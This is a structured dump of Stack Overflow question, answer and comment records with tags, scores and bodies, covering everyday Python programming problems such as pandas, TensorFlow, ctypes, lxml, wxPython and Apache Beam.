has text: @ShadowRanger Good thoughts. No other threads running. Everything is still serial. file_list is constant from the beginning of the script.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48758703

http://stackoverflow.com/q/48730129
has answer: http://stackoverflow.com/a/48733188
has comment: http://stackoverflow.com/comment/84463244
tagged with: virtualenv
has title: Python error while loading shared libraries: libpython3.5m.so.1.0: cannot open shared object file: No such file or directory
has body: On my Fedora 25 I have configured the virtual environment with python 3.5 and after upgrading the system to Fedora 27 I cannot longer launch django app withing the virtual env (python manage.py runserver) neither check the version of the python: error while loading shared libraries: libpython3.5m.so.1.0: cannot open shared object file: No such file or directory Could you please advice what to do next? I'm not advanced user in terms of python configuration. Shall I reinstall python 3.5 or try to set up virtual environment once again? Any help greatly appreciated.
answer count: 1
downvote count: 0
favorite count: 0
type: UnansweredQuestion
tagged with: django
tagged with: python
score: 3
has comment: http://stackoverflow.com/comment/84459905
upvote count: 3
type: Question

http://stackoverflow.com/q/48733989
type: UnansweredQuestion
tagged with: tensorflow
type: Question
tagged with: deep-learning
downvote count: 0
answer count: 1
has answer: http://stackoverflow.com/a/48745692
favorite count: 0
has comment: http://stackoverflow.com/comment/94567493
has comment: http://stackoverflow.com/comment/84468964
tagged with: python
has title: How to see the output size of a layer in TensorFlow?
has body: I am new to TensorFlow and currently writing my first CNN using the library. Previously I have used keras and to check the output dimensions of layers used the model.summary() function. How do I check the output dimensions of layers in TensorFlow ? This is my model : generator(input, random_dim, is_train, reuse=False): c4, c8, c16, c32, c64 = 512, 256, 128, 64, 32 # no of nodes in each conv2d layer s4 = 4 output_dim = CHANNEL # B/W image for RGB channel = 3 with tf.variable_scope('gen') as scope: if reuse: scope.reuse_variables() w1 = tf.get_variable('w1', shape=[random_dim, s4 * s4 * c4], dtype=tf.float32, initializer=tf.truncated_normal_initializer(stddev=0.02)) b1 = tf.get_variable('b1', shape=[c4 * s4 * s4], dtype=tf.float32, initializer=tf.constant_initializer(0.0)) flat_conv1 = tf.add(tf.matmul(input, w1), b1, name='flat_conv1') conv1 = tf.reshape(flat_conv1, shape=[-1, s4, s4, c4], name='conv1') bn1 = tf.contrib.layers.batch_norm(conv1, is_training=is_train, epsilon=1e-5, decay = 0.9, updates_collections=None, scope='bn1') act1 = tf.nn.relu(bn1, name='act1') # 8*8*256 conv2 = tf.layers.conv2d_transpose(act1, c8, kernel_size=[3, 3], strides=[2, 2], padding="SAME", kernel_initializer=tf.truncated_normal_initializer(stddev=0.02), name='conv2') bn2 = tf.contrib.layers.batch_norm(conv2, is_training=is_train, epsilon=1e-5, decay = 0.9, updates_collections=None, scope='bn2') act2 = tf.nn.relu(bn2, name='act2') # 16*16*128 conv3 = tf.layers.conv2d_transpose(act2, c16, kernel_size=[3, 3], strides=[2, 2], padding="SAME", kernel_initializer=tf.truncated_normal_initializer(stddev=0.02), name='conv3') bn3 = tf.contrib.layers.batch_norm(conv3, is_training=is_train, epsilon=1e-5, decay = 0.9, updates_collections=None, scope='bn3') act3 = tf.nn.relu(bn3, name='act3') # 32*32*64 conv4 = tf.layers.conv2d_transpose(act3, c32, kernel_size=[3, 3], strides=[2, 2], padding="SAME", kernel_initializer=tf.truncated_normal_initializer(stddev=0.02), name='conv4') bn4 = tf.contrib.layers…
score: 2
tagged with: conv-neural-network
upvote count: 2

http://stackoverflow.com/comment/84530241
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/48764892
has text: You could use bitwise operators and do it manually.
score: 0

http://stackoverflow.com/q/48694750
has comment: http://stackoverflow.com/comment/84390013
favorite count: 0
upvote count: 0
has comment: http://stackoverflow.com/comment/84389187
has body: I would like to split a 3D array of size (101, 151, 101) into sub-arrays of say size (21, 21, 21). (Sizes are not fixed, but, odd numbers for ease). The only requirement is, the splitting should be done from the middle. So, the midpoint of the original matrix should be in the middle of a subarray, so that the blocks are distributed evenly across the original matrix. Thank you very much.
has comment: http://stackoverflow.com/comment/84390625
has title: Numpy split array centered around the centroid
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/84388282
has comment: http://stackoverflow.com/comment/84389298
has answer: http://stackoverflow.com/a/48767145
score: -1
type: Question
tagged with: numpy
has comment: http://stackoverflow.com/comment/84389212
has comment: http://stackoverflow.com/comment/84398295
tagged with: split
tagged with: arrays
answer count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/84388924

http://stackoverflow.com/comment/104548428
has text: I've found your screenshotted action, but when I autoimport into a file already containing a relative import (e.g. 'from ..foo.bar import baz'), it still generates an absolute import. Is there a setting I'm missing?
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/58855900
type: Comment

http://stackoverflow.com/q/48675152
has comment: http://stackoverflow.com/comment/84354902
has body: I am trying to use a simple C++ function within python3. Following a tutorial I built a shared libray (".so") and tried to call the funktion within python with the ctypes.CDLL() function. Compiling the .cpp and executing the .py went well on the command line, but when I copied all files into an IDE (PyCharm in my case) and run the code from there I get the error: Traceback (most recent call last): File ".../test/wrapper.py", line 26, in &lt;module&gt; test = ctypes.CDLL('library.so').foo_bar_function(a, b) File "...\AppData\Local\Programs\Python\Python36\lib\ctypes\__init__.py", line 348, in __init__ self._handle = _dlopen(self._name, mode) OSError: [WinError 126] The specified module was not found I already tried specifying the full path to the library.so, without luck. I'm aware that there are toolsets as the Boost.Python Library which can help extending python with c/c++ functions. But as the functions do not require anything special, are only "static" methods and are quite simple, I thought I would not have to go through that hassle. All my function should do is getting some arrays from python, manipulating the array with simple operations and returning an int. What I did: Created two files: .../test/function.cpp .../test/wrapper.py function.cpp: #include &lt;valarray&gt; bool foo_function(const std::valarray&lt;float&gt; &amp;a, const int b) { float f = 0.0; std::valarray&lt;float&gt; above = a[a &lt; f]; return above.size() &gt;= b; } int bar_function(const std::valarray&lt;float&gt; &amp;a, const int b) { bool b = foo_function(a,b[0]); ... SOME OTHER CODE ... return 0; } extern "C" int foo_bar_function(float *a, int *b, int c) { std::valarray&lt;float&gt; v (a, c); ... SOME OTHER CODE ... int i = bar_function(v, b); return i; } and wrapper.py import ctypes py_a = [10,5,6,2,1,1,1,6,3,1] c_a = (ctypes.c_float * len(py_a))(*py_a) py_b = [1,1,2] c_b = (ctypes.c_int * len(py_b))(*py_b) test = ctypes.CDLL('library.so').foo_bar_function(c_a, c_b) print(test) then I …
type: Question
has title: Python: ctypes CDLL('library.so') Specified Modul not found
tagged with: ctypes
has comment: http://stackoverflow.com/comment/84355311
has comment: http://stackoverflow.com/comment/84356202
score: 0
has comment: http://stackoverflow.com/comment/84354259
has comment: http://stackoverflow.com/comment/84356505
tagged with: python
tagged with: shared-libraries
has comment: http://stackoverflow.com/comment/84356104
tagged with: c++
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/84543390
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84355653
has comment: http://stackoverflow.com/comment/84355093

http://stackoverflow.com/q/48762163
answer count: 1
has answer: http://stackoverflow.com/a/48782546
tagged with: wxpython
favorite count: 0
tagged with: python
score: 2
has title: Why does wx.Yield() not work?
downvote count: 0
type: UnansweredQuestion
has body: I am well aware/familiar how to handle LongRunningTasks in wxPython (using threading.Thread is just working fine). But I always wondered, why wx.Yield() and its siblings are not working (or how they shall be used properly). Attached a (not so) minimal example, tested with 4.0.0a2 msw (phoenix): from __future__ import print_function from time import sleep from datetime import datetime import wx def long_running(handler): for i in range(10): thetxt = '{0}: {1}'.format(str(datetime.now()), str(i)) sleep(1) # using this as drop-in for something which is blocking wx.SafeYield() wx.CallAfter(handler, thetxt) class tst_frm(wx.Frame): def __init__(self, *args, **kwds): wx.Frame.__init__(self, *args, **kwds) self.btn = wx.Button(self, -1, 'Click to Status') self.btn.Bind(wx.EVT_BUTTON, self.on_btn) def on_btn(self, evt): the_txt = '{0}: EVT_BUTTON'.format(str(datetime.now())) self.update_prog(the_txt) def update_prog(self, update_txt): """Handler for task update (``str``).""" print(update_txt) if __name__ == '__main__': app = wx.App(redirect=False) frm = tst_frm(None, -1, 'test_long') frm.Show() handler = frm long_running(handler.update_prog) app.MainLoop() EDIT: What happens: The wx.CallAfter events are processed The button events are registered but are being processed in the GUI only after long_running has completed My questions: wx.Yield should allow to process events which are piling up? Can this example being made work with wx.Yield and if yes, how? If not, What is the explanation why it does not work?
type: Question
upvote count: 2

http://stackoverflow.com/a/48690294
has body: Question 1 To multiply your wavelength column by every other column in your DataFrame, you can use: df.iloc[:, 1:] = df.iloc[:, 1:].mul(df['Wavelength'], axis=0) This assumes your wavelength column is the first column. Question 2 Selecting columns like that using an integer is asking for columns of your DataFrame that are named 0, 1, etc., as ints. There are none in your DataFrame. To select columns by index number look into the documentation for pandas' iloc method. Question 3 When you call df[fileNames], you are getting a a DataFrame with the same number of columns as the length of your list fileNames. Your code df[fileNames].multiply(df.Wavelength) is not giving you a DataFrame with the same number of columns as df[fileNames], hence you cannot assign the values. Using the axis=0 parameter in the multiply function is working for me.
has comment: http://stackoverflow.com/comment/84392122
type: AcceptedAnswer
downvote count: 0
score: 1
type: Answer
accepted answer of: http://stackoverflow.com/q/48689113
upvote count: 1
answers question: http://stackoverflow.com/q/48689113

http://stackoverflow.com/a/48745650
has body: It would be good, if you can upload your code or at least a minimal example in order to see what is going on. Just looking at these numbers, it seems allow_growth is working as it should, that is, it is only allocating the amount of memory that it actually needs (the 2.148 GiB you calculated above). Also can you provide the full console output of the error you are getting. My guess is, that you are confusing a non fatal warning message from the TF resource allocator for the actual error that's causing your program to fail. Is this similar to the message that you are seeing? W tensorflow/core/common_runtime/bfc_allocator.cc:217] Allocator (GPU_1_bfc) ran out of memory trying to allocate 2.55GiB. The caller indicates that this is not a failure, but may mean that there could be performance gains if more memory is available. Because this is just a warning that you may ignore unless you want to optimize the runtime performance of your code. It is not something that will cause your program to fail.
answers question: http://stackoverflow.com/q/48725179
downvote count: 0
has comment: http://stackoverflow.com/comment/84626242
has comment: http://stackoverflow.com/comment/84808302
has comment: http://stackoverflow.com/comment/84869885
has comment: http://stackoverflow.com/comment/84808052
type: Answer
has comment: http://stackoverflow.com/comment/84869954
upvote count: 3
score: 3
has comment: http://stackoverflow.com/comment/84673581
has comment: http://stackoverflow.com/comment/84755820

http://stackoverflow.com/comment/84547951
comment on: http://stackoverflow.com/q/48693189
score: 0
type: Comment
type: QuestionComment
has text: I checked that, and the form is valid

http://stackoverflow.com/comment/84466011
type: Comment
has text: The exception occurs because the `div.find(...)` is returning `None`. So you are essentially evaluating `None.getText()`. Since `None` does not have a `getText` attribute, an `AttributeError` is raised.
comment on: http://stackoverflow.com/q/48733334
score: 0
type: QuestionComment

http://stackoverflow.com/q/48664962
tagged with: python
has title: pandas.DataFrame: How to align / group and sort data by index?
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/48665048
upvote count: 1
has body: I'm new to pandas and still don't have a good overview about its power and how to use it. So the problem is hopefully simple :) I have a DataFrame with a date-index and several columns (stocks and their Open and Close-prices). Here is some example data for two stocks A and B: import pandas as pd _ = pd.to_datetime A_dt = [_('2018-01-04'), _('2018-01-01'), _('2018-01-05')] B_dt = [_('2018-01-01'), _('2018-01-05'), _('2018-01-03'), _('2018-01-02')] A_data = [(12, 11), (10, 9), (8, 9)] B_data = [(2, 2), (3, 4), (4, 4), (5, 3)] As you see the data is incomplete, different missing dates for each series. I want to put these data together in a single dataframe with sorted row-index dt and 4 columns (2 stocks x 2 time series each). When I do it this way, everything works fine (except that I'd like to change the column-levels and don't know how to do it): # MultiIndex on axis 0, then unstacking i0_a = pd.MultiIndex.from_tuples([("A", x) for x in A_dt], names=['symbol', 'dt']) i0_b = pd.MultiIndex.from_tuples([("B", x) for x in B_dt], names=['symbol', 'dt']) df0_a = pd.DataFrame(A_data, index=i0_a, columns=["Open", "Close"]) df0_b = pd.DataFrame(B_data, index=i0_b, columns=["Open", "Close"]) df = pd.concat([df0_a, df0_b]) df = df.unstack('symbol') # this automatically sorts by dt. print df # Open Close #symbol A B A B #dt #2018-01-01 10.0 2.0 9.0 2.0 #2018-01-02 NaN 5.0 NaN 3.0 #2018-01-03 NaN 4.0 NaN 4.0 #2018-01-04 12.0 NaN 11.0 NaN #2018-01-05 8.0 3.0 9.0 4.0 However when I put the MultiIndex on the columns, things are different # MultiIndex on axis 1 i1_a = pd.MultiIndex.from_tuples([("A", "Open"), ("A", "Close")], names=['symbol', 'series']) i1_b = pd.MultiIndex.from_tuples([("B", "Open"), ("B", "Close")], names=['symbol', 'series']) df1_a = pd.DataFrame(A_data, index=A_dt, columns=i1_a) df1_b = pd.DataFrame(B_data, index=B_dt, columns=i1_b) df = pd.concat([df1_a, df1_b]) print df #symbol A B #series Close Open Close Open #2018-01-04 11.0 12.0 NaN NaN #2018-01-01 9.0 10.…
type: Question
tagged with: dataframe
tagged with: sorting
tagged with: pandas
answer count: 1
has answer: http://stackoverflow.com/a/48665048
downvote count: 0
score: 1
favorite count: 0

http://stackoverflow.com/comment/84560493
type: QuestionComment
comment on: http://stackoverflow.com/q/48779314
has text: @KenWhite - the sender is `username@fullusernames-MacBook-Pro-2.local` in this case?right?not sure why its picking the local one for sender..I give something like "username@company.com" which is valid, any pointers why?
score: 0
type: Comment

http://stackoverflow.com/comment/84535507
has text: I can't reproduce the issue then. Can you show that `import warnings; [(w[0], w[2]) for w in warnings.filters]` consists of?
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48767143

http://stackoverflow.com/q/48782104
accepted answer: http://stackoverflow.com/a/48805317
has comment: http://stackoverflow.com/comment/84565877
tagged with: timer
linked to: http://stackoverflow.com/q/16148735
possible better answer: http://stackoverflow.com/a/48788761
has answer: http://stackoverflow.com/a/48788761
tagged with: python
has comment: http://stackoverflow.com/comment/84578480
tagged with: uptime
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84579236
type: Question
has comment: http://stackoverflow.com/comment/84575066
has title: How can I get an equivalent of Python threading.Timer that uses system uptime?
has answer: http://stackoverflow.com/a/48805317
has body: TL;DR threading.Timer uses system time but the time changes while I'm using it, how can I get it to use system uptime? I have a Python script that does a bunch of stuff one of which is set the system time. When this script starts up the time is wrong. This script also needs to have a global timeout of 30 seconds. I have been using the following timeout class: class Timeout(object): def __init__(self, seconds=1, signum=signal.SIGUSR1, exception=TimeoutException): self.exception = exception self.pid = os.getpid() self.signum = signum self.timer = threading.Timer(seconds, self.exit_function) def exit_function(self): os.kill(self.pid, self.signum) def handle_timeout(self, signum, frame): raise self.exception() def __enter__(self): signal.signal(self.signum, self.handle_timeout) self.timer.start() def __exit__(self, type, value, traceback): self.timer.cancel() Which wraps my entire script: with Timeout(seconds=30): main() occasionally the script fails really quickly or never gets killed after the 30 seconds. I believe this is because threading.Timer uses the system time which gets changed while the script is running. Is there anyway I can get it to use system uptime?
score: 0
answer count: 2
has comment: http://stackoverflow.com/comment/84577907

http://stackoverflow.com/comment/84596802
comment on: http://stackoverflow.com/q/48793424
score: 0
type: Comment
type: QuestionComment
has text: @bosnjak I can't just send rules because I need to track domain object (start url) for every request of any depth. I suppose that queue is in this moment filled by many of urls from one domain so another domain urls can't be requested but it's very unefficient.

http://stackoverflow.com/comment/84421262
type: AnswerComment
type: Comment
has text: I have modified the config file and there were not many changes to be made. I changed the number of classes and the rest of the parameters were left as default. I used the `ssd_mobilenet_v1_pets` config file . I do have 8gb of RAM and is there anything else I should change or do? Reducing the batch size freezes my machine.
comment on: http://stackoverflow.com/a/48702495
score: 0

http://stackoverflow.com/q/48755415
has comment: http://stackoverflow.com/comment/84512805
favorite count: 0
tagged with: http://stackoverflow.com/tag/xml
has comment: http://stackoverflow.com/comment/84512738
tagged with: python-3.x
has answer: http://stackoverflow.com/a/48756069
accepted answer: http://stackoverflow.com/a/48756069
tagged with: python
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84512218
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/84511913
type: Question
has title: Writing XML to file using LXML
has comment: http://stackoverflow.com/comment/84511986
has comment: http://stackoverflow.com/comment/84512663
tagged with: lxml
upvote count: 1
answer count: 1
has body: I'm trying to create a XML file using LXML. So far I have ... from lxml import etree def exportAsXML(self, filename): fields = [ ('Realm', self.Realm), ('ActiveState', self.ActiveState), ('Name', self.Name), ('Type', self.Type), ('Level', self.Level), ('Quality', self.Quality), ('Bonus', self.Bonus), ('AFDPS', self.AFDPS), ('Speed', self.Speed), ('Origin', self.Origin), ('DamageType', self.DamageType), ('LeftHand', self.LeftHand), ('Requirement', self.Requirement), ('Notes', self.Notes,) ] root = etree.Element('Item') for key, value in fields: if value != '': etree.SubElement(root, key).text = value document = open(filename, 'w') document.write(etree.tostring(root, pretty_print = True)) document.close() This results in TypeError: must be str, not bytes but I don't understand what is going on. I assume by using etree.tostring that the etree object is converted to a string, but that doesn't seem to be the case. Any idea? ** UPDATE ** What I'm trying to do is create a valid XML file that is neatly formatted using LXML and contains a DTD (not implemented yet). I already make use of LXML in other areas of my application, so I figured I would continue on with it. I'm using Python 3. ** UPDATE 2 ** console b' All Dropped Band Wrist 50 100 35 Quest ' file All Dropped Band Wrist 50 100 35 Quest

http://stackoverflow.com/q/48690640
type: AnsweredQuestion
has body: For each row in my dataframe, I have identified the maximum value. I would like to get the column in which each maximum is in. For example, myDict = {} for i in df.index: maximum = max(df.iloc[i]) myDict{i} = (columnOfMaximum, maximum) What is the correct selection routine to get columnOfMaximum?
downvote count: 0
has answer: http://stackoverflow.com/a/48690735
score: 1
type: Question
possible better answer: http://stackoverflow.com/a/48691584
tagged with: dataframe
has answer: http://stackoverflow.com/a/48691584
has title: get the column of a cell in pandas
answer count: 2
tagged with: pandas
upvote count: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/48690735
tagged with: python

http://stackoverflow.com/q/48752582
score: 5
tagged with: algorithm
has answer: http://stackoverflow.com/a/48752800
has comment: http://stackoverflow.com/comment/84506112
has answer: http://stackoverflow.com/a/48753049
has answer: http://stackoverflow.com/a/48752828
accepted answer: http://stackoverflow.com/a/48752828
favorite count: 0
has body: I have a Python app with a Firebase-database backend. When I retrieve the data from my database, I want to check if those values are available (if not, that means that the database is somehow corrupted, as mandatories fields are missing) My current implementation is the following: self.foo = myDbRef.get('foo') self.bar = myDbRef.get('bar') self.bip = myDbRef.get('bip') self.plop = myDbRef.get('plop') if self.foo is None or self.bar is None or self.bip is None or self.plop is None: self.isValid = False return ErrorCode.CORRUPTED_DATABASE This works fine, is compact, but have a major issue: I will get the information that the database is corrupted, but not what field is missing (could be just one of them, or more, or all !) The idiomatic approach should be if self.foo is None: self.isValid = False return ErrorCode.CORRUPTED_DATABASE, "FOO IS MISSING" # could be a string, an enum value, whatever, I have the information if self.bar is None: self.isValid = False return ErrorCode.CORRUPTED_DATABASE, "BAR IS MISSING" if self.bip is None: self.isValid = False return ErrorCode.CORRUPTED_DATABASE, "BIP IS MISSING" But this is not pretty, not factorized (All my 'init from db' functions use the same pattern... I don't want to multiply my number of lines by a factor of 10 for such a case). This is not a '100% python' question, but I hope the langage has something for me to handle this like a boss (it's python: it usually does !)
upvote count: 5
tagged with: firebase-realtime-database
has answer: http://stackoverflow.com/a/48752826
tagged with: python
has comment: http://stackoverflow.com/comment/84506117
answer count: 4
type: AnsweredQuestion
has title: Python check if one or more values is None and knows which ones are
downvote count: 0
possible better answer: http://stackoverflow.com/a/48752800
type: Question

http://stackoverflow.com/comment/84402412
score: 0
comment on: http://stackoverflow.com/q/48698283
type: Comment
type: QuestionComment
has text: @Nae I think the OP only wants to remove the up and down arrows, not to auto-hide the scrollbar.

http://stackoverflow.com/comment/84485441
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48742787
has text: more context would be great e.g table definition.
score: 0

http://stackoverflow.com/q/48792300
has comment: http://stackoverflow.com/comment/84588068
tagged with: python-3.x
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84586841
has title: Why does my for loop not respect the conditional?
tagged with: python
has body: To run a SAP GUI data extraction script, I am comparing the modification time of a file with the current time with the for loop, to find out if the file is update. But the loop is infinite, and is not respecting the conditional of the for loop. I need help with this. I'm using python 3.6x today = datetime.datetime.today().strftime('%d.%m.%Y') GUIPath = 'C:\Program Files (x86)\SAP\FrontEnd\SAPgui' SID = '-system=x' InstanceNo = '-client=x' User = '-user=x' Pw = '-pw=x' Language = '-language=x' shell = win32com.client.Dispatch("WScript.Shell") cmdString = os.path.join(GUIPath, 'sapshcut.exe') + " " + SID + " " + InstanceNo + " " + User + " " + Pw + " " + Language base_sap = (r'\\teste.com\JK1\Openshare\Groups\Kb_CDO_Informacoes\Tableau\Pedidos_Ingressados\Files\Teste\base_sap.xlsx') now = datetime.datetime.now().timestamp() for f in base_sap: while os.stat(f).st_mtime < (now - 1800): print('Iniciando atualização da Base de Pedidos do SAP.') #inicia o sap logon call(cmdString) time.sleep(4) os.system('TASKKILL /F /IM saplogon.exe') call(cmdString) time.sleep(10) #iniciando a sessão no sap gui SapGui = win32com.client.GetObject("SAPGUI").GetScriptingEngine session = SapGui.FindById("ses[0]") time.sleep(8) #sap gui script session.findById("wnd[0]").maximize() session.findById("wnd[0]/usr/cntlIMAGE_CONTAINER/shellcont/shell/shellcont[0]/shell").doubleClickNode("F00002") session.findById("wnd[0]/usr/tabsTABSTRIP_MYTABSTRIP/tabpCOMM_001/ssub%_SUBSCREEN_MYTABSTRIP:Z0OTC0718_SALES_ORD_REP:0100/ctxtS_VKORG-LOW").text = "BR03" session.findById("wnd[0]/usr/tabsTABSTRIP_MYTABSTRIP/tabpCOMM_001/ssub%_SUBSCREEN_MYTABSTRIP:Z0OTC0718_SALES_ORD_REP:0100/ctxtS_VKORG-HIGH").text = "BR04" session.findById("wnd[0]/usr/tabsTABSTRIP_MYTABSTRIP/tabpCOMM_001/ssub%_SUBSCREEN_MYTABSTRIP:Z0OTC0718_SALES_ORD_REP:0100/ctxtS_WERKS-LOW").text = "*" session.findById("wnd[0]/usr/tabsTABSTRIP_MYTABSTRIP/tabpCOMM_001/ssub%_SUBSCREEN_MYTABSTRIP:Z0OTC0718_SALES_ORD_REP:0100/ctxtS_AUART-LOW").text = "ZOR" …
tagged with: sap-gui
answer count: 0
tagged with: loops
type: Question
has comment: http://stackoverflow.com/comment/84586909
tagged with: data-structures
has comment: http://stackoverflow.com/comment/84587806
has comment: http://stackoverflow.com/comment/84586846
score: 0
has comment: http://stackoverflow.com/comment/84588102

http://stackoverflow.com/comment/84347294
type: AnswerComment
comment on: http://stackoverflow.com/a/48674361
has text: Is there a way to do this inside the *heapq* architecture so the pop automatically pops the following value in the heap? Or do I have to find the way to mark this externally and interpret that the pop is not valid?
type: Comment
score: 0

http://stackoverflow.com/comment/84550419
type: Comment
comment on: http://stackoverflow.com/a/48771988
has text: thanks! although I'm using an outdated version of Django (version 1.4), so I had to use `change_view` instead
score: 0
type: AnswerComment

http://stackoverflow.com/q/48694436
favorite count: 0
has answer: http://stackoverflow.com/a/48695718
tagged with: python
type: AnsweredQuestion
downvote count: 0
accepted answer: http://stackoverflow.com/a/48695442
tagged with: kaggle
tagged with: tensorflow
type: Question
possible better answer: http://stackoverflow.com/a/48695718
has answer: http://stackoverflow.com/a/48695442
score: 1
has body: I'm working on Kaggle's fer2013 dataset. Here's a link to the dataset. I'm using TFLearn framework, I convert the Labels(7 class labels) to hot_shot and everything works fine until I run it in the networks and I get the error: Cannot feed value of shape (64, 7) for Tensor 'targets/Y:0', which has shape '(?,)' I read previous similar questions and I understand that I'm trying to feed the network a tensor of shape which is different than what it expects, my problem here is I don't know how to reshape what it expects, or at least the shape of what it expects so I can reshape my tensor to. Here's my code. import pandas as pd import numpy as np import matplotlib.pyplot as plt import matplotlib.image as mpimg #Read csv file data = pd.read_csv('fer2013.csv') #Number of samples n_samples = len(data) n_samples_train = 28709 n_samples_test = 3589 n_samples_validation = 3589 IMG_SIZE = 48 #Pixel width and height w = 48 h = 48 #Separating labels and features respectively y = data['emotion'] X = np.zeros((n_samples, w, h,1)) for i in range(n_samples): X[i] = np.fromstring(data['pixels'][i], dtype=int, sep=' ').reshape(w, h,1) #Training set X_train = X[:n_samples_train] y_train = y[:n_samples_train] X_val = X[n_samples_train : (n_samples_train + n_samples_test)] y_val = y[n_samples_train : (n_samples_train + n_samples_test)] n_values = np.max(y_train) + 1 y_hot_shot_train = np.eye(n_values)[y_train] n_values_val = np.max(y_val) + 1 y_hot_shot_val = np.eye(n_values_val)[y_val] import tflearn from tflearn.layers.conv import conv_2d, max_pool_2d from tflearn.layers.core import input_data, dropout, fully_connected from tflearn.layers.estimator import regression from tflearn.data_augmentation import ImageAugmentation LR = 0.001 imgaug = ImageAugmentation() imgaug.add_random_flip_leftright() imgaug.add_random_rotation(max_angle=25.) convnet = input_data(shape=[None, IMG_SIZE, IMG_SIZE, 1],data_augmentation=imgaug, name='input') convnet = conv_2d(convnet, 32, 5, activation='relu') convn…
tagged with: tflearn
answer count: 2
tagged with: deep-learning
upvote count: 1
has title: Cannot feed value of shape (64, 7) for Tensor 'targets/Y:0', which has shape '(?,)'

http://stackoverflow.com/comment/84396049
type: Comment
has text: Added a link to working code, not sure if it'll do what you want, since I don't know what values pi11 and pi22 will take. As to where to call the function, just call it in the loop, after the else-if ladder, but not _inside_ it
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48660328

http://stackoverflow.com/q/48759465
has comment: http://stackoverflow.com/comment/84519652
has answer: http://stackoverflow.com/a/48964427
has body: I'm trying to keep a data science project well-organized so I've created a directory inside my src directory called utils that contains a file called helpers.py, which contains some helper functions that will be used in many scripts. What is the best practice for how I should import func_name from src/utils/helpers.py into a file in a totally different directory, such as src/processing/clean_data.py? I see answers to this question, and I've implemented a solution that works, but this feels ugly: sys.path.append(os.path.dirname(os.path.dirname(os.path.dirname(os.path.realpath(__file__)))))) Am I doing this right? Do I need to add this to every script that wants to import func_name, like train_model.py? My current project folder structure: myproject /notebooks notebook.ipynb /src /processing clean_data.py /utils helpers.py /models train_model.py __init__.py Example files: # clean_data.py import os import sys sys.path.append(os.path.dirname(os.path.dirname(os.path.dirname(os.path.realpath(__file__)))))) from src.utils.helpers import func_name func_name() # helpers.py def func_name(): print('I'm a helper function.')
score: 11
downvote count: 1
type: Question
linked to: http://stackoverflow.com/q/710551
has answer: http://stackoverflow.com/a/49049874
has comment: http://stackoverflow.com/comment/84520205
has answer: http://stackoverflow.com/a/48942611
has comment: http://stackoverflow.com/comment/84519657
possible better answer: http://stackoverflow.com/a/48759540
linked to: http://stackoverflow.com/q/4383571
has answer: http://stackoverflow.com/a/48759540
upvote count: 12
linked to: http://stackoverflow.com/q/448271
answer count: 7
has answer: http://stackoverflow.com/a/49047034
has comment: http://stackoverflow.com/comment/84538004
has answer: http://stackoverflow.com/a/49060381
favorite count: 0
accepted answer: http://stackoverflow.com/a/48942611
linked to: http://stackoverflow.com/q/15208615
tagged with: python
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49043107
has title: Do I need to add my project directory to the system path in every script to import a function from another directory?

http://stackoverflow.com/a/48742581
has comment: http://stackoverflow.com/comment/115995858
has comment: http://stackoverflow.com/comment/84530468
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/48741327
accepted answer of: http://stackoverflow.com/q/48741327
type: Answer
has comment: http://stackoverflow.com/comment/84534147
has comment: http://stackoverflow.com/comment/84631808
score: 17
has body: The problem with your code is that you try to use nested fields while specifying BigQuery Table Schema as string, which is not supported. In order to push nested records into BigQuery from Apache Beam you need to create TableSchema object, i.e using built-in parser: from apache_beam.io.gcp.bigquery import parse_table_schema_from_json table_schema = parse_table_schema_from_json(your_bigquery_json_schema) You need to pass schema as JSON string there, you can obtain it using the following command in your terminal (I assume that you have gcloud tools installed): bq --project=your-gcp-project-name --format=json show your.table.name &gt; schema.json and in Python use it as follows: table_schema = parse_table_schema_from_json(json.dumps(json.load(open("schema.json"))["schema"])) Then in your pipeline: beam.io.WriteToBigQuery( 'myBucket:tableFolder.test_table', schema=table_schema) You can also take a look at the example showing manual creation of TableSchema object: https://github.com/apache/beam/blob/474345f5987e47a22d063c7bfcb3638c85a57e64/sdks/python/apache_beam/examples/cookbook/bigquery_schema.py which is (from the linked example): from apache_beam.io.gcp.internal.clients import bigquery table_schema = bigquery.TableSchema() full_name_schema = bigquery.TableFieldSchema() full_name_schema.name = 'fullName' full_name_schema.type = 'string' full_name_schema.mode = 'required' table_schema.fields.append(full_name_schema) # A nested field phone_number_schema = bigquery.TableFieldSchema() phone_number_schema.name = 'phoneNumber' phone_number_schema.type = 'record' phone_number_schema.mode = 'nullable' number = bigquery.TableFieldSchema() number.name = 'number' number.type = 'integer' number.mode = 'nullable' phone_number_schema.fields.append(number) table_schema.fields.append(phone_number_schema) area_code = bigquery.TableFieldSchema() area_code.name = 'areaCode' area_code.type = 'integer' area_code.mode = 'nullable' phone_number_schema.fields.append(area_code) table_schema.…
upvote count: 17
has comment: http://stackoverflow.com/comment/84502966

http://stackoverflow.com/q/48650616
has comment: http://stackoverflow.com/comment/84299902
score: 4
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84299971
has title: Best way to pass command line arguments via file in python
possible better answer: http://stackoverflow.com/a/48650641
has answer: http://stackoverflow.com/a/48650641
downvote count: 1
type: Question
accepted answer: http://stackoverflow.com/a/48651121
upvote count: 5
tagged with: command-line-arguments
linked to: http://stackoverflow.com/q/27433316
has body: I have a lot of arguments to pass to my main.py. It's easier to store them in a txt file. So, i would like to know best way of using "config" files to pass CL args. Shell script is not what i need, unfortunatly.
has answer: http://stackoverflow.com/a/48650881
has comment: http://stackoverflow.com/comment/84299397
answer count: 3
favorite count: 0
has answer: http://stackoverflow.com/a/48651121
has comment: http://stackoverflow.com/comment/84298997
tagged with: python
